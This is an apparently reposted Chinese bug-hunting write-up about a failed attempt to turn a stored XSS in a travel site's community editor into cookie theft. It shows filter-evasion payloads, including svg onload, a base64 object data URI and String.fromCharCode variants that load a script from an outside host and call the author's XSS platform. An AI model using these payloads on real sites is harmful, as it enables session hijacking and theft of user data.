记一次失败的xss利用

Posted 火种安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次失败的xss利用相关的知识,希望对你有一定的参考价值。

文章来源:先知社区




一个xss


我在主站测试过后,把目标放到了它的其他业务上,比如这个社区功能。社区功能可以发表游记,和主流的旅游网站一样(比如携程、去哪儿),游记是个值得测试的功能点,毕竟它有那么多输入输出,很可能存在xss(因为我之前就在这个网站上挖到过xss,所以感觉它的xss防护并不是很好)。 

                         

  

编辑页面如上,我首先正常走了一边流程,然后开始一个输入一个输入的测试。首先是标题,输入最简单的xss弹窗payload

<script>alert(1)</script>,然后点击预览,提示我有脚本代码


记一次失败的xss利用


然后我换成svg的payload<svg/onload=alert(1)>,点击预览,成功弹窗。


记一次失败的xss利用


现在,我应该发现了一个xss,而且还是存储型的。


转折


我随便填了点游记内容,提交发现需要审核,那么我们的弹窗代码肯定会吓到审核的,铁定过不了,那么我需要把payload换成盗取cookie的payload,但是<script>被过滤,我们需要换其他的关键词,我测试了这个Github项目上的xsspayload,结果很多payload的关键词都被列入了黑名单


<imgsrc=1onerror=***>
eval
script


我又尝试了这个payload


<svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">


这个payload会访问我的xss平台项目,但是img标签的src属性并不会去加载脚本,所以也没什么用,我只能去请求一个图片探针,记录referer、IP、浏览器等信息。


记一次失败的xss利用


同样的,项目里的<embed src=//14.rs>也不能得到cookie,想要利用这个标签执行脚本需要加上属性值alwaysscript,但是script又被过滤,所以这个payload也没用。难道我的xss就只能自娱自乐的self-xss了?


柳暗花明?


谷歌一番之后,我又找到了这个非常nice的payload


<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>


这个payload没有常见的关键字,非常nice,只要不编码尖括号和引号,这个payload应该很好用,在使用的时候要注意base64编码的正确性,我一开始使用的编码网站有问题,导致编码结果出错,payload执行也出错。把它改成我的xss平台项目链接之后,预览一下,完美!


记一次失败的xss利用


网站对你发送了一条消息:呵呵


记一次失败的xss利用


标题过长?行,我去内容里写,但是提交审核之后,回头去内容,发现内容被篡改了


记一次失败的xss利用

可以看到,text/html中间的斜杠没有了,而且在源码里,空格也被实体编码了,导致整个payload都失效了。


然后,我又尝试了类似的payload


<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>


依旧空格被实体编码,于是我把空格换成了反斜杠/

<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>


结果,居然提示我有非法字符



xss利用失败了呐,今天又是失败的一天呢。


2个xss payload集合:


xss其他标签下的js用法总结大全:

http://www.91ri.org/16155.html


s0md3v/AwesomXSS:

https://github.com/s0md3v/AwesomeXSS



转自先知社区,侵删


以上是关于记一次失败的xss利用的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试之XSS漏洞:记一次模拟注入攻击

记一次小有成就的代码审计

技术讨论 | 记一次XSS蠕虫渗透实验

记一次挖掘存储型XSS漏洞过程

挖洞经验 | 记一次有关参数指定型XSS的故事

记一次由XSS一步一步获得服务器权限的渗透测试过程